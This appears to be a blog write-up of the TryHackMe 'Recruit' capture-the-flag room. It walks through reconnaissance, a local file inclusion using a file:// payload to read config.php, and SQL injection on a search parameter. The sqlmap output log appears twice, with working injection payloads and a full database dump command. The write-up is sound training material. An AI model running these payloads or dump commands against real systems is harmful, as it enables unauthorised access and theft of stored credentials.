November 2, 2026
Recruit CTF | TryHackMe | Writeup
1.Reconnaissance :

By LZR_404
5 min read
1.Reconnaissance :
1.1_Nmap scan :
Nmap scan revealed three ports that we are mainly interested in :
Port 22 , 80 and 53 .
Visiting the site on port 80 shows a normal login page with both username and password fields :
I tried some common defaults credentials, but they did not work !
1.2_Directory fuzzing ;
I used dirsearch trying to uncover files and directories .The output had some worthy files :
What catched my eyes at the first sight was /config.php file . I tried reading it but unfortunately it was a 0 bytes empty file .
Navigating through the found files, something catched my attention . mail file was a mailing log file with some notable information and notes :
Reading through the file , you can see there is a note left by the portal creator saying : "HR login credentials (username: hr )" are currently stored in the application configuration file (config.php)โฆetc
Mentioning the config.php file which i previously found as empty. I thought of trying brute forcing using the username hr .
But again , it was a dead end .
Back to the API documentation api.php . While taking a look at the api docs . Specifically the How to fetch a candidate CV using the API section** .**
There was a query parameter /file.php?cv= . This was a clear evidence that I started to uncover the mystery .
I opened burp and tried to send a request with the parameter seeking an SSRF . I tried few times, but nothing seemed to work as expected.
All responses went so : Only internal files are allowed !
Then my thinking shifted to LFI instead of SSRF . I did some googling and concluded to this payload : file://file.php .
2. LOCAL FILE INCLUSION :
After few attempts . I was able to read the config.php file using this payload : file://file.php
Logging in as a normal user and read the flag :
3. SQL injection :
Now that we have the user flag let's get the admin flag .
Looking around the user portal . Nothing seemed suspecious or have anything to do with a critical functionality . But there was a search field .
The first idea that came to my mind was testing for SQL injection .
I captured a request with burpsuit and saved it to a file then I ran an sqlmap scan.
sqlmap -r request.txt --level=3 --risk=2 --batchsqlmap -r request.txt --level=3 --risk=2 --batchAnd. Yes we have an SQLi vulnerability .
HOW TO DUMP THE DB : โโ# sqlmap -r /home/kali/Desktop/req1 --batch --level=5 --risk=2
___
__H__
___ ___["]_____ ___ ___ {1.9.12#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:10:49 /2026-11-01/
[22:10:49] [INFO] parsing HTTP request from '/home/kali/Desktop/req1'
[22:10:50] [INFO] testing connection to the target URL
[22:10:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:10:50] [INFO] testing if the target URL content is stable
[22:10:50] [INFO] target URL content is stable
[22:10:50] [INFO] testing if GET parameter 'search' is dynamic
[22:10:50] [WARNING] GET parameter 'search' does not appear to be dynamic
[22:10:50] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'MySQL')
[22:10:50] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (2) value? [Y/n] Y
[22:10:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:10:51] [WARNING] reflective value(s) found and filtering out
[22:11:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[22:11:03] [INFO] GET parameter 'search' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="SQL")
[22:11:03] [INFO] testing 'Generic inline queries'
[22:11:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:11:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:11:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:11:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:11:03] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[22:11:03] [INFO] GET parameter 'search' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
[22:11:03] [INFO] testing 'MySQL inline queries'
[22:11:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[22:11:04] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[22:11:04] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:11:13] [INFO] GET parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[22:11:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:11:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:11:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:11:14] [INFO] target URL appears to have 4 columns in query
[22:11:15] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 137 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: search=hello' AND 7723=(SELECT (CASE WHEN (7723=7723) THEN 7723 ELSE (SELECT 8639 UNION SELECT 1443) END))-- -
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: search=hello' AND GTID_SUBSET(CONCAT(0x7178627071,(SELECT (ELT(5729=5729,1))),0x716b6a7a71),5729)-- fiSf
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=hello' AND (SELECT 8374 FROM (SELECT(SLEEP(5)))BfWt)-- doFV
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: search=hello' UNION ALL SELECT NULL,CONCAT(0x7178627071,0x424f6443797a5775506e6b746c6351694854754668524e58725365434b4e506f42666d6c4643616d,0x716b6a7a71),NULL,NULL-- -
---
[22:11:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[22:11:15] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.128.191.0'
[22:11:15] [WARNING] your sqlmap version is outdated
[*] ending @ 22:11:15 /2026-11-01/HOW TO DUMP THE DB : โโ# sqlmap -r /home/kali/Desktop/req1 --batch --level=5 --risk=2
___
__H__
___ ___["]_____ ___ ___ {1.9.12#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:10:49 /2026-11-01/
[22:10:49] [INFO] parsing HTTP request from '/home/kali/Desktop/req1'
[22:10:50] [INFO] testing connection to the target URL
[22:10:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:10:50] [INFO] testing if the target URL content is stable
[22:10:50] [INFO] target URL content is stable
[22:10:50] [INFO] testing if GET parameter 'search' is dynamic
[22:10:50] [WARNING] GET parameter 'search' does not appear to be dynamic
[22:10:50] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'MySQL')
[22:10:50] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (2) value? [Y/n] Y
[22:10:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:10:51] [WARNING] reflective value(s) found and filtering out
[22:11:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[22:11:03] [INFO] GET parameter 'search' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="SQL")
[22:11:03] [INFO] testing 'Generic inline queries'
[22:11:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:11:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:11:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:11:03] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:11:03] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[22:11:03] [INFO] GET parameter 'search' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
[22:11:03] [INFO] testing 'MySQL inline queries'
[22:11:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[22:11:04] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[22:11:04] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[22:11:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:11:13] [INFO] GET parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[22:11:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:11:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:11:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:11:14] [INFO] target URL appears to have 4 columns in query
[22:11:15] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 137 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: search=hello' AND 7723=(SELECT (CASE WHEN (7723=7723) THEN 7723 ELSE (SELECT 8639 UNION SELECT 1443) END))-- -
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: search=hello' AND GTID_SUBSET(CONCAT(0x7178627071,(SELECT (ELT(5729=5729,1))),0x716b6a7a71),5729)-- fiSf
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=hello' AND (SELECT 8374 FROM (SELECT(SLEEP(5)))BfWt)-- doFV
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: search=hello' UNION ALL SELECT NULL,CONCAT(0x7178627071,0x424f6443797a5775506e6b746c6351694854754668524e58725365434b4e506f42666d6c4643616d,0x716b6a7a71),NULL,NULL-- -
---
[22:11:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[22:11:15] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.128.191.0'
[22:11:15] [WARNING] your sqlmap version is outdated
[*] ending @ 22:11:15 /2026-11-01/Now we can dump the entire db and get the admin password .
sqlmap -r request.txt -D DATABASE_NAME --dump --batchsqlmap -r request.txt -D DATABASE_NAME --dump --batch
Finally the password was found and the admin flag too .
Wrote by LZR_404 :
Happy Hacking !